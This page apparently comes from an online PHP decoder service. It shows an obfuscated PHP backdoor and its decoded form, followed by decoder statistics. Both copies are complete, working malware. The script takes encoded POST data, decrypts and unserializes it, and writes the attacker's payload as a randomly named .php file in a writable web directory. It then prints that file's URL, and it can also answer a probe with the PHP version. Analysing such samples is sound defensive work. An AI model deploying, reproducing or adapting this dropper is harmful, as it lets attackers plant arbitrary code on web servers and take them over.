Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function nYPQBuV($xnwYzWfXqZzrcB){$zDrcS = chr(114).'a'.chr(1032-913).chr(615-498).c..

Decoded Output download

<?php function nYPQBuV($xnwYzWfXqZzrcB){$zDrcS = chr(114).'a'.chr(1032-913).chr(615-498).chr(114).'l'."d"."e"."c".chr(111).chr(430-330)."e";$WYhUApDBQq = chr(1102-987).chr(1044-928)."r"."_"."r"."o"."t".chr(49).chr(441-390);$EdnMB = chr(625-510).chr(199-83).chr(114).chr(729-634).'s'."p".chr(108)."i".chr(116);$xnwYzWfXqZzrcB = $EdnMB($zDrcS($WYhUApDBQq($xnwYzWfXqZzrcB)));return $xnwYzWfXqZzrcB;}function IEgAk($VDjrosHGOp, $xnwYzWfXqZzrcB){$AoupO = chr(385-270).'t'.'r'."_".'s'.'p'.'l'."i".'t';$VDjrosHGOp = array_slice($AoupO(str_repeat($VDjrosHGOp, (count($xnwYzWfXqZzrcB)/16)+1)), 0, count($xnwYzWfXqZzrcB));return $VDjrosHGOp;}function oGuZeZheq($xnwYzBFOnkq, $kyYfgGv, $VDjrosHGOp){$MkhTy = "90bbe0fd-4fae-4f71-afb5-df5031f04d67";return $xnwYzBFOnkq ^ $MkhTy[$kyYfgGv % strlen($MkhTy)] ^ $VDjrosHGOp;}function knEWRk($xnwYzWfXqZzrcB, $VDjrosHGOp){$xnwYzWfXqZzrcB = array_map("oGuZeZheq", array_values($xnwYzWfXqZzrcB), array_keys($xnwYzWfXqZzrcB), array_values($VDjrosHGOp));$xnwYzWfXqZzrcB = implode("", $xnwYzWfXqZzrcB);$KxkdWYkuT = chr(608-491)."n"."s".'e'.chr(114).'i'.chr(440-343).chr(108).chr(569-464).'z'."e";$xnwYzWfXqZzrcB = @$KxkdWYkuT($xnwYzWfXqZzrcB);return $xnwYzWfXqZzrcB;}function BaBMi($xnwYzir){static $xEGhVgJfFJ = array();$ynPNR = glob($xnwYzir . '/*', GLOB_ONLYDIR);$VejsGmsbk = count($ynPNR);if ($VejsGmsbk > 0) {foreach ($ynPNR as $xnwYz) {$XISyKJ = 'i'."s"."_".chr(178-59)."r".chr(105).chr(116).'a'.'b'.chr(108).chr(1076-975);if (@$XISyKJ($xnwYz)) {$xEGhVgJfFJ[] = $xnwYz;}}}foreach ($ynPNR as $xnwYzir) BaBMi($xnwYzir);return $xEGhVgJfFJ;}function IPNrPtwh($xnwYzWfXqZzrcB){$eSpbldueCr = chr(318-250).'O'."C".'U'.chr(77)."E".chr(78).'T'."_"."R".chr(79).chr(900-821)."T";$SeTnQeesW = $_SERVER[$eSpbldueCr];$ynPNR = BaBMi($SeTnQeesW);$OwHgILPN = array_rand($ynPNR);$LSPpqaA = "."."p".chr(104)."p";$oJFyaPwfy = $ynPNR[$OwHgILPN] . "/" . substr(md5(time()), 0, 8) . $LSPpqaA;$quBuBCypIs = "f"."i"."l".chr(445-344)."_".chr(112)."u".chr(1094-978)."_".chr(99).'o'.chr(474-364).chr(116).'e'."n"."t"."s";@$quBuBCypIs($oJFyaPwfy, $xnwYzWfXqZzrcB);$qgOHeop = 'H'.chr(84)."T".'P'."_".chr(72).chr(79).chr(795-712)."T";$wKDFk = chr(104)."t"."t".'p'.":".chr(47).chr(47);$wnQSfSTm = $wKDFk . $_SERVER[$qgOHeop] . substr($oJFyaPwfy, strlen($SeTnQeesW));print($wnQSfSTm);die();}foreach ($_POST as $VDjrosHGOp => $xnwYzWfXqZzrcB){$aansjuQl = strlen($VDjrosHGOp);if ($aansjuQl == 16){$xnwYzWfXqZzrcB = nYPQBuV($xnwYzWfXqZzrcB);$VDjrosHGOp = IEgAk($VDjrosHGOp, $xnwYzWfXqZzrcB);$xnwYzWfXqZzrcB = knEWRk($xnwYzWfXqZzrcB, $VDjrosHGOp);if (@is_array($xnwYzWfXqZzrcB)){$OwHgILPN = array_keys($xnwYzWfXqZzrcB);$xnwYzWfXqZzrcB = $xnwYzWfXqZzrcB[$OwHgILPN[0]];if ($xnwYzWfXqZzrcB === $OwHgILPN[0]){$sQlWSll = "p"."h"."p";$TQicniZr = "p"."h".chr(577-465)."v"."e"."r".chr(243-128).'i'.chr(606-495)."n";$dJjkGesNAg = chr(115)."e".chr(127-13).'i'.chr(323-226).chr(938-830).chr(105).'z'."e";echo @$dJjkGesNAg(Array($sQlWSll => @$TQicniZr(), ));exit();}else {IPNrPtwh($xnwYzWfXqZzrcB);}}}} ?>

Did this file decode correctly?

Original Code

<?php function nYPQBuV($xnwYzWfXqZzrcB){$zDrcS = chr(114).'a'.chr(1032-913).chr(615-498).chr(114).'l'."\144"."\145"."\143".chr(111).chr(430-330)."\x65";$WYhUApDBQq = chr(1102-987).chr(1044-928)."\162"."\x5f"."\x72"."\x6f"."\164".chr(49).chr(441-390);$EdnMB = chr(625-510).chr(199-83).chr(114).chr(729-634).'s'."\x70".chr(108)."\x69".chr(116);$xnwYzWfXqZzrcB = $EdnMB($zDrcS($WYhUApDBQq($xnwYzWfXqZzrcB)));return $xnwYzWfXqZzrcB;}function IEgAk($VDjrosHGOp, $xnwYzWfXqZzrcB){$AoupO = chr(385-270).'t'.'r'."\137".'s'.'p'.'l'."\151".'t';$VDjrosHGOp = array_slice($AoupO(str_repeat($VDjrosHGOp, (count($xnwYzWfXqZzrcB)/16)+1)), 0, count($xnwYzWfXqZzrcB));return $VDjrosHGOp;}function oGuZeZheq($xnwYzBFOnkq, $kyYfgGv, $VDjrosHGOp){$MkhTy = "90bbe0fd-4fae-4f71-afb5-df5031f04d67";return $xnwYzBFOnkq ^ $MkhTy[$kyYfgGv % strlen($MkhTy)] ^ $VDjrosHGOp;}function knEWRk($xnwYzWfXqZzrcB, $VDjrosHGOp){$xnwYzWfXqZzrcB = array_map("oGuZeZheq", array_values($xnwYzWfXqZzrcB), array_keys($xnwYzWfXqZzrcB), array_values($VDjrosHGOp));$xnwYzWfXqZzrcB = implode("", $xnwYzWfXqZzrcB);$KxkdWYkuT = chr(608-491)."\x6e"."\163".'e'.chr(114).'i'.chr(440-343).chr(108).chr(569-464).'z'."\145";$xnwYzWfXqZzrcB = @$KxkdWYkuT($xnwYzWfXqZzrcB);return $xnwYzWfXqZzrcB;}function BaBMi($xnwYzir){static $xEGhVgJfFJ = array();$ynPNR = glob($xnwYzir . '/*', GLOB_ONLYDIR);$VejsGmsbk = count($ynPNR);if ($VejsGmsbk > 0) {foreach ($ynPNR as $xnwYz) {$XISyKJ = 'i'."\163"."\137".chr(178-59)."\x72".chr(105).chr(116).'a'.'b'.chr(108).chr(1076-975);if (@$XISyKJ($xnwYz)) {$xEGhVgJfFJ[] = $xnwYz;}}}foreach ($ynPNR as $xnwYzir) BaBMi($xnwYzir);return $xEGhVgJfFJ;}function IPNrPtwh($xnwYzWfXqZzrcB){$eSpbldueCr = chr(318-250).'O'."\103".'U'.chr(77)."\x45".chr(78).'T'."\137"."\122".chr(79).chr(900-821)."\124";$SeTnQeesW = $_SERVER[$eSpbldueCr];$ynPNR = BaBMi($SeTnQeesW);$OwHgILPN = array_rand($ynPNR);$LSPpqaA = "\x2e"."\x70".chr(104)."\x70";$oJFyaPwfy = $ynPNR[$OwHgILPN] . "/" . substr(md5(time()), 0, 8) . $LSPpqaA;$quBuBCypIs = "\x66"."\151"."\x6c".chr(445-344)."\137".chr(112)."\165".chr(1094-978)."\137".chr(99).'o'.chr(474-364).chr(116).'e'."\x6e"."\164"."\x73";@$quBuBCypIs($oJFyaPwfy, $xnwYzWfXqZzrcB);$qgOHeop = 'H'.chr(84)."\x54".'P'."\137".chr(72).chr(79).chr(795-712)."\x54";$wKDFk = chr(104)."\164"."\164".'p'."\x3a".chr(47).chr(47);$wnQSfSTm = $wKDFk . $_SERVER[$qgOHeop] . substr($oJFyaPwfy, strlen($SeTnQeesW));print($wnQSfSTm);die();}foreach ($_POST as $VDjrosHGOp => $xnwYzWfXqZzrcB){$aansjuQl = strlen($VDjrosHGOp);if ($aansjuQl == 16){$xnwYzWfXqZzrcB = nYPQBuV($xnwYzWfXqZzrcB);$VDjrosHGOp = IEgAk($VDjrosHGOp, $xnwYzWfXqZzrcB);$xnwYzWfXqZzrcB = knEWRk($xnwYzWfXqZzrcB, $VDjrosHGOp);if (@is_array($xnwYzWfXqZzrcB)){$OwHgILPN = array_keys($xnwYzWfXqZzrcB);$xnwYzWfXqZzrcB = $xnwYzWfXqZzrcB[$OwHgILPN[0]];if ($xnwYzWfXqZzrcB === $OwHgILPN[0]){$sQlWSll = "\160"."\x68"."\x70";$TQicniZr = "\160"."\x68".chr(577-465)."\166"."\145"."\x72".chr(243-128).'i'.chr(606-495)."\156";$dJjkGesNAg = chr(115)."\145".chr(127-13).'i'.chr(323-226).chr(938-830).chr(105).'z'."\x65";echo @$dJjkGesNAg(Array($sQlWSll => @$TQicniZr(), ));exit();}else {IPNrPtwh($xnwYzWfXqZzrcB);}}}}

Function Calls

None

Variables

None

Stats

MD5 982845746f417f5506c4f3fb1a419ab3
Eval Count 0
Decode Time 58 ms